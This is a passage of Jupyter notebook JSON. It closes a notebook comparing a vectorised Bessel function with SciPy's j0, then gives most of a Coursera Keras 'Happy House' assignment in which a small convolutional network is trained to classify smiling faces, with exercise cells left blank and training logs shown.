wYo9bHcPn\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10f4d44a8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plot(x, vj0(x), x, ss.j0(x))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This was run on a Macbook Air. Running `sysctl -n machdep.cpu.brand_string` resulted in:\n", "\n", " Intel(R) Core(TM) i7-3720QM CPU @ 2.60GHz" ] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python [default]", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }

bsd-2-clause

huajianmao/learning

coursera/deep-learning/4.convolutional-neural-networks/week2/.ipynb_checkpoints/pa.1.Keras - Tutorial - Happy House v1-checkpoint.ipynb

1

59153

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Keras tutorial - the Happy House\n", "\n", "Welcome to the first assignment of week 2. In this assignment, you will:\n", "1. Learn to use Keras, a high-level neural networks API (programming framework), written in Python and capable of running on top of several lower-level frameworks including TensorFlow and CNTK. \n", "2. See how you can in a couple of hours build a deep learning algorithm.\n", "\n", "Why are we using Keras? Keras was developed to enable deep learning engineers to build and experiment with different models very quickly. Just as TensorFlow is a higher-level framework than Python, Keras is an even higher-level framework and provides additional abstractions. Being able to go from idea to result with the least possible delay is key to finding good models. However, Keras is more restrictive than the lower-level frameworks, so there are some very complex models that you can implement in TensorFlow but not (without more difficulty) in Keras. That being said, Keras will work fine for many common models. \n", "\n", "In this exercise, you'll work on the \"Happy House\" problem, which we'll explain below. Let's load the required packages and solve the problem of the Happy House!" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "Using TensorFlow backend.\n" ] } ], "source": [ "import numpy as np\n", "from keras import layers\n", "from keras.layers import Input, Dense, Activation, ZeroPadding2D, BatchNormalization, Flatten, Conv2D\n", "from keras.layers import AveragePooling2D, MaxPooling2D, Dropout, GlobalMaxPooling2D, GlobalAveragePooling2D\n", "from keras.models import Model\n", "from keras.preprocessing import image\n", "from keras.utils import layer_utils\n", "from keras.utils.data_utils import get_file\n", "from keras.applications.imagenet_utils import preprocess_input\n", "import pydot\n", "from IPython.display import SVG\n", "from keras.utils.vis_utils import model_to_dot\n", "from keras.utils import plot_model\n", "from kt_utils import *\n", "\n", "import keras.backend as K\n", "K.set_image_data_format('channels_last')\n", "import matplotlib.pyplot as plt\n", "from matplotlib.pyplot import imshow\n", "\n", "%matplotlib inline" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Note**: As you can see, we've imported a lot of functions from Keras. You can use them easily just by calling them directly in the notebook. Ex: `X = Input(...)` or `X = ZeroPadding2D(...)`." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 1 - The Happy House \n", "\n", "For your next vacation, you decided to spend a week with five of your friends from school. It is a very convenient house with many things to do nearby. But the most important benefit is that everybody has commited to be happy when they are in the house. So anyone wanting to enter the house must prove their current state of happiness.\n", "\n", "<img src=\"images/happy-house.jpg\" style=\"width:350px;height:270px;\">\n", "<caption><center> <u> <font color='purple'> **Figure 1** </u><font color='purple'> : **the Happy House**</center></caption>\n", "\n", "\n", "As a deep learning expert, to make sure the \"Happy\" rule is strictly applied, you are going to build an algorithm which that uses pictures from the front door camera to check if the person is happy or not. The door should open only if the person is happy. \n", "\n", "You have gathered pictures of your friends and yourself, taken by the front-door camera. The dataset is labbeled. \n", "\n", "<img src=\"images/house-members.png\" style=\"width:550px;height:250px;\">\n", "\n", "Run the following code to normalize the dataset and learn about its shapes." ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "number of training examples = 600\n", "number of test examples = 150\n", "X_train shape: (600, 64, 64, 3)\n", "Y_train shape: (600, 1)\n", "X_test shape: (150, 64, 64, 3)\n", "Y_test shape: (150, 1)\n" ] } ], "source": [ "X_train_orig, Y_train_orig, X_test_orig, Y_test_orig, classes = load_dataset()\n", "\n", "# Normalize image vectors\n", "X_train = X_train_orig/255.\n", "X_test = X_test_orig/255.\n", "\n", "# Reshape\n", "Y_train = Y_train_orig.T\n", "Y_test = Y_test_orig.T\n", "\n", "print (\"number of training examples = \" + str(X_train.shape[0]))\n", "print (\"number of test examples = \" + str(X_test.shape[0]))\n", "print (\"X_train shape: \" + str(X_train.shape))\n", "print (\"Y_train shape: \" + str(Y_train.shape))\n", "print (\"X_test shape: \" + str(X_test.shape))\n", "print (\"Y_test shape: \" + str(Y_test.shape))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Details of the \"Happy\" dataset**:\n", "- Images are of shape (64,64,3)\n", "- Training: 600 pictures\n", "- Test: 150 pictures\n", "\n", "It is now time to solve the \"Happy\" Challenge." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 2 - Building a model in Keras\n", "\n", "Keras is very good for rapid prototyping. In just a short time you will be able to build a model that achieves outstanding results.\n", "\n", "Here is an example of a model in Keras:\n", "\n", "```python\n", "def model(input_shape):\n", " # Define the input placeholder as a tensor with shape input_shape. Think of this as your input image!\n", " X_input = Input(input_shape)\n", "\n", " # Zero-Padding: pads the border of X_input with zeroes\n", " X = ZeroPadding2D((3, 3))(X_input)\n", "\n", " # CONV -> BN -> RELU Block applied to X\n", " X = Conv2D(32, (7, 7), strides = (1, 1), name = 'conv0')(X)\n", " X = BatchNormalization(axis = 3, name = 'bn0')(X)\n", " X = Activation('relu')(X)\n", "\n", " # MAXPOOL\n", " X = MaxPooling2D((2, 2), name='max_pool')(X)\n", "\n", " # FLATTEN X (means convert it to a vector) + FULLYCONNECTED\n", " X = Flatten()(X)\n", " X = Dense(1, activation='sigmoid', name='fc')(X)\n", "\n", " # Create model. This creates your Keras model instance, you'll use this instance to train/test the model.\n", " model = Model(inputs = X_input, outputs = X, name='HappyModel')\n", " \n", " return model\n", "```\n", "\n", "Note that Keras uses a different convention with variable names than we've previously used with numpy and TensorFlow. In particular, rather than creating and assigning a new variable on each step of forward propagation such as `X`, `Z1`, `A1`, `Z2`, `A2`, etc. for the computations for the different layers, in Keras code each line above just reassigns `X` to a new value using `X = ...`. In other words, during each step of forward propagation, we are just writing the latest value in the commputation into the same variable `X`. The only exception was `X_input`, which we kept separate and did not overwrite, since we needed it at the end to create the Keras model instance (`model = Model(inputs = X_input, ...)` above). \n", "\n", "**Exercise**: Implement a `HappyModel()`. This assignment is more open-ended than most. We suggest that you start by implementing a model using the architecture we suggest, and run through the rest of this assignment using that as your initial model. But after that, come back and take initiative to try out other model architectures. For example, you might take inspiration from the model above, but then vary the network architecture and hyperparameters however you wish. You can also use other functions such as `AveragePooling2D()`, `GlobalMaxPooling2D()`, `Dropout()`. \n", "\n", "**Note**: You have to be careful with your data's shapes. Use what you've learned in the videos to make sure your convolutional, pooling and fully-connected layers are adapted to the volumes you're applying it to." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# GRADED FUNCTION: HappyModel\n", "\n", "def HappyModel(input_shape):\n", " \"\"\"\n", " Implementation of the HappyModel.\n", " \n", " Arguments:\n", " input_shape -- shape of the images of the dataset\n", "\n", " Returns:\n", " model -- a Model() instance in Keras\n", " \"\"\"\n", " \n", " ### START CODE HERE ###\n", " ### END CODE HERE ###\n", " \n", " return model" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You have now built a function to describe your model. To train and test this model, there are four steps in Keras:\n", "1. Create the model by calling the function above\n", "2. Compile the model by calling `model.compile(optimizer = \"...\", loss = \"...\", metrics = [\"accuracy\"])`\n", "3. Train the model on train data by calling `model.fit(x = ..., y = ..., epochs = ..., batch_size = ...)`\n", "4. Test the model on test data by calling `model.evaluate(x = ..., y = ...)`\n", "\n", "If you want to know more about `model.compile()`, `model.fit()`, `model.evaluate()` and their arguments, refer to the official [Keras documentation](https://keras.io/models/model/).\n", "\n", "**Exercise**: Implement step 1, i.e. create the model." ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": true }, "outputs": [], "source": [ "### START CODE HERE ### (1 line)\n", "### END CODE HERE ###" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Exercise**: Implement step 2, i.e. compile the model to configure the learning process. Choose the 3 arguments of `compile()` wisely. Hint: the Happy Challenge is a binary classification problem." ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": true }, "outputs": [], "source": [ "### START CODE HERE ### (1 line)\n", "### END CODE HERE ###" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Exercise**: Implement step 3, i.e. train the model. Choose the number of epochs and the batch size." ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Epoch 1/40\n", "600/600 [==============================] - 12s - loss: 1.5360 - acc: 0.5900 \n", "Epoch 2/40\n", "600/600 [==============================] - 13s - loss: 0.4340 - acc: 0.8083 \n", "Epoch 3/40\n", "600/600 [==============================] - 12s - loss: 0.1771 - acc: 0.9250 \n", "Epoch 4/40\n", "600/600 [==============================] - 14s - loss: 0.1184 - acc: 0.9600 \n", "Epoch 5/40\n", "600/600 [==============================] - 14s - loss: 0.1027 - acc: 0.9617 \n", "Epoch 6/40\n", "600/600 [==============================] - 15s - loss: 0.0936 - acc: 0.9667 \n", "Epoch 7/40\n", "600/600 [==============================] - 15s - loss: 0.0744 - acc: 0.9783 \n", "Epoch 8/40\n", "600/600 [==============================] - 16s - loss: 0.0641 - acc: 0.9867 \n", "Epoch 9/40\n", "600/600 [==============================] - 14s - loss: 0.0753 - acc: 0.9733 \n", "Epoch 10/40\n", "600/600 [==============================] - 14s - loss: 0.0612 - acc: 0.9800 \n", "Epoch 11/40\n", "600/600 [==============================] - 15s - loss: 0.0519 - acc: 0.9833 \n", "Epoch 12/40\n", "600/600 [==============================] - 15s - loss: 0.0496 - acc: 0.9817 \n", "Epoch 13/40\n", "600/600 [==============================] - 15s - loss: 0.0457 - acc: 0.9900 \n", "Epoch 14/40\n", "600/600 [==============================] - 14s - loss: 0.0483 - acc: 0.9900 \n", "Epoch 15/40\n", "600/600 [==============================] - 15s - loss: 0.0329 - acc: 0.9933 \n", "Epoch 16/40\n", "600/600 [==============================] - 14s - loss: 0.0335 - acc: 0.9917 \n", "Epoch 17/40\n", "600/600 [==============================] - 15s - loss: 0.0344 - acc: 0.9867 \n", "Epoch 18/40\n", "600/600 [==============================] - 15s - loss: 0.0423 - acc: 0.9883 \n", "Epoch 19/40\n", "600/600 [==============================] - 15s - loss: 0.0282 - acc: 0.9900 \n", "Epoch 20/40\n", "600/600 [==============================] - 15s - loss: 0.0232 - acc: 0.9933 \n", "Epoch 21/40\n", "600/600 [==============================] - 15s - loss: 0.0206 - acc: 0.9967 \n", "Epoch 22/40\n", "600/600 [==============================] - 15s - loss: 0.0258 - acc: 0.9917 \n", "Epoch 23/40\n", "600/600 [==============================] - 15s - loss: 0.0179 - acc: 0.9950 \n", "Epoch 24/40\n", "600/600 [==============================] - 15s - loss: 0.0159 - acc: 0.9967 \n", "Epoch 25/40\n", "600/600 [==============================] - 15s - loss: 0.0206 - acc: 0.9950 \n", "Epoch 26/40\n", "600/600 [==============================] - 16s - loss: 0.0158 - acc: 1.0000 \n", "Epoch 27/40\n", "600/600 [==============================] - 15s - loss: 0.0166 - acc: 0.9917 \n", "Epoch 28/40\n", "600/600 [==============================] - 15s - loss: 0.0146 - acc: 0.9983 \n", "Epoch 29/40\n", "600/600 [==============================] - 17s - loss: 0.0206 - acc: 0.9950 \n", "Epoch 30/40\n", "600/600 [==============================] - 16s - loss: 0.0411 - acc: 0.9867 \n", "Epoch 31/40\n", "600/600 [==============================] - 15s - loss: 0.0268 - acc: 0.9933 \n", "Epoch 32/40\n", "600/600 [==============================] - 15s - loss: 0.0623 - acc: 0.9800 \n", "Epoch 33/40\n", "600/600 [==============================] - 15s - loss: 0.0984 - acc: 0.9567 \n", "Epoch 34/40\n", "600/600 [==============================] - 15s - loss: 0.0363 - acc: 0.9933 \n", "Epoch 35/40\n", "600/600 [==============================] - 16s - loss: 0.0343 - acc: 0.9883 \n", "Epoch 36/40\n", "600/600 [==============================] - 17s - loss: 0.0424 - acc: 0.9867 \n", "Epoch 37/40\n", "600/600 [==============================] - 18s - loss: 0.0277 - acc: 0.9933 \n", "Epoch 38/40\n", "600/600 [==============================] - 18s - loss: 0.0104 - acc: 1.0000 \n", "Epoch 39/40\n", "600/600 [==============================] - 15s - loss: 0.0152 - acc: 0.9950 \n", "Epoch 40/40\n", "600/600 [==============================] - 15s - loss: 0.0161 - acc: 0.9917 \n" ] }, { "data": { "text/plain": [ "<keras.callbacks.History at 0x7fda947bed68>" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "### START CODE HERE ### (1 line)\n", "### END CODE HERE ###" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Note that if you run `fit()` again, the `model` will continue to train with the parameters it has already learnt instead of reinitializing them.\n", "\n", "**Exercise**: Implement step 4, i.e. test/evaluate the model." ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "150/150 [==============================] - 2s \n", "\n", "Loss = 0.200629468759\n", "Test Accuracy = 0.92666667064\n" ] } ], "source": [ "### START CODE HERE ### (1 line)\n", "### END CODE HERE ###\n", "print()\n", "print (\"Loss = \" + str(preds[0]))\n", "print (\"Test Accuracy = \" + str(preds[1]))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "If your `happyModel()` function worked, you should have observed much better than random-guessing (50%) accuracy on the train and test sets. To pass this assignment, you have to get at least 75% accuracy. \n", "\n", "To give you a point of comparison, our model gets around **95% test accuracy in 40 epochs** (and 99% train accuracy) with a mini batch size of 16 and \"adam\" optimizer. But our model gets decent accuracy after just 2-5 epochs, so if you're comparing different models you can also train a variety of models on just a few epochs and see how they compare. \n", "\n", "If you have not yet achieved 75% accuracy, here're some things you can play around with to try to achieve it:\n", "\n", "- Try using blocks of CONV->BATCHNORM->RELU such as:\n", "```python\n", "X = Conv2D(32, (3, 3), strides = (1, 1), name = 'conv0')(X)\n", "X = BatchNormalization(axis = 3, name = 'bn0')(X)\n", "X = Activation('relu')(X)\n", "```\n", "until your height and width dimensions are quite low and your number of channels quite large (≈32 for example). You are encoding useful information in a volume with a lot of channels. You can then flatten the volume and use a fully-connected layer.\n", "- You can use MAXPOOL after such blocks. It will help you lower the dimension in height and width.\n", "- Change your optimizer. We find Adam works well. \n", "- If the model is struggling to run and you get memory issues, lower your batch_size (12 is usually a good compromise)\n", "- Run on more epochs, until you see the train accuracy plateauing. \n", "\n", "Even if you have achieved 75% accuracy, please feel free to keep playing with your model to try to get even better results. \n", "\n", "**Note**: If you perform hyperparameter tuning on your model, the test set actually becomes a dev set, and your model might end up overfitting to the test (dev) set. But just for the purpose of this assignment, we won't worry about that here.\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 3 - Conclusion\n", "\n", "Congratulations, you have solved the Happy House challenge! \n", "\n", "Now, you just need to link this model to the front-door camera of your house. We unfortunately won't go into the details of how to do that here. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "<font color='blue'>\n", "**What we would like you to remember from this assignment:**\n", "- Keras is a tool we recommend for rapid prototyping. It allows you to quickly try out different model architectures. Are there any applications of deep learning to your daily life that you'd like to implement using Keras? \n", "- Remember how to code a model in Keras and the four steps leading to the evaluation of your model on the test set. Create->Compile->Fit/Train->Evaluate/Test." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 4 - Test with your own image (Optional)\n", "\n", "Congratulations on finishing this assignment. You can now take a picture of your face and see if you could enter the Happy House. To do that:\n", " 1. Click on \"File\" in the upper bar of this notebook, then click \"Open\" to go on your Coursera Hub.\n", " 2. Add your image to this Jupyter Notebook's directory, in the \"images\" folder\n", " 3. Write your image's name in the following code\n", " 4. Run the code and check if the algorithm is right (0 is unhappy, 1 is happy)!\n", " \n", "The training/test sets were quite similar; for example, all the pictures were taken against the same background (since a front door camera is always mounted in the same position). This makes the problem easier, but a model trained on this data may or may not work on your own data. But feel free to give it a try! " ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[[ 0.]]\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAP8AAAD8CAYAAAC4nHJkAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJztfWeYXNWRdp3O3dOTc5A0ygFljbIQQiQJARJgMGaxAcOy\nXliv7XXArD/bC044LKyxcWCBBdtgTBBGsCRJSEigOMpppBlJI82MJscO0/l8P7q5VXWkGQ1BPdL2\neZ9Hj6qnTt97+vY9fatOVb0lpJSgoaGRejAN9gQ0NDQGB3rxa2ikKPTi19BIUejFr6GRotCLX0Mj\nRaEXv4ZGikIvfg2NFMWnWvxCiCVCiMNCiBohxHc/q0lpaGice4hPmuQjhDADwBEAuAIA6gFgOwB8\nQUp58LObnoaGxrmC5VO8dxYA1EgpjwEACCFeAIDlANDn4s/KcsuikhwAAIj5Q0wXs9txUlb+vq4O\nnyFn57oMOc2ewcbVnzxlyJEYP0ZaBh7fBHgCYQ6wcQEP/himZZmZzhR1GrLX5zFku9PJxgliT2W4\n3Uzn9eBniYkw01lMOEd3Gr7P09vFxrldqDMJfvxAsAWPZ0adxeICDvycwQD/LqKxqCEL8mHCkSAb\nZ3PiRQ75+bUKRfCYTkfEkL2hCBvncjpwHvzwQJ9LEvB4GelFbJzVhNfRDHama/Pi9QgF/Hhel42N\nC5MbJjs9i+kCYXxfb6+P6fIzS3H+EfyerBb+vQjA+ywY5feckHjt7OTm7w3y+8Nhx2vVG+plOpct\nvq5qa+uhra1DwADwaRZ/KQDUkdf1ADC7vzcUleTAU899CwAAfLsamC5QPtyQs0q4NfL6C9sN+YYv\nTjXkuSOXsHHfvvf/GXJ7kB9j9qWjDdkBhYZsyz7Mxh15D2/OmSvSmc7VNcmQP9i53pCHj5vKxtlc\neCNdvnAB0215f4sh91gbma7INQrnWzHXkN/fv4qNmz/9YkN2W+Yz3aHa3xpynht1+XnT2LgYWUzH\nqk8wXU+P15AtVrzhmtqOsnFlU/AmrtvFb/ZTzfj9jhvXbshb65rZuGlTxhty9VH+nYUD5IfHVGvI\nVy28n40rSGs15GzTMKZ7aiNej7rDuw15+rShbFxDOy7wzy1eznTVDbsMefe+bUx37zU/NuTjHa8Z\ncmEW/94tAp+JRz1VTGcN5xjyiGy8N/cda2Hjxo8aY8gH6w8w3dSyWwAAoKJiGQwU53zDTwhxjxCi\nUghR2dXpPfsbNDQ0koJP4/PPBYD/kFJelXj9AACAlPJnfb1n5Pgi+fOnvwQAADMmjGe6dX8/ZMjX\nfv5apnvs2ScNOT2AJvbSf7yFjSsgZmj1+3uZbuXqNw35S/feZsjPPvx3Nm74PPwVnjdlJtOtenaD\nIV9y6dWG3OXn5tnxdnLuYJTpJo6dQuSLmM7fiU/F17euMeSpU/PYuHXr8En04/v/zHQxqDdkE4xj\nGoqTx4+gJsr9LFMuHkP2lBtyJreGodm31pCDPfzJX1NFjpmO9nzj8XY2zhvFp1vUzd2PG1bgE/7g\nnk2GXN30IRv37RUPGvIPn/sO0/m6enCOPnz45A0tZOPmTsDXe6qrme5zK2YZcollCNNVefA6Tkv/\noiGHBb//GsJbDTnkG8F0MTNe79FufHKbJTfMQwKvVYv3HaYrTY9bwTMrvgyVlVUDMvs/zZN/OwCM\nFkIMF0LYAOAWAFh1lvdoaGicJ/jEPr+UMiKE+BcAeAcAzADwtJTywFnepqGhcZ7g02z4gZTyTQB4\n86wDNTQ0zjt8Yp//k2DMuKHyd0/Hd/tdGXxXdszEXEP+YNXLTNduwV3O0lL0C4/u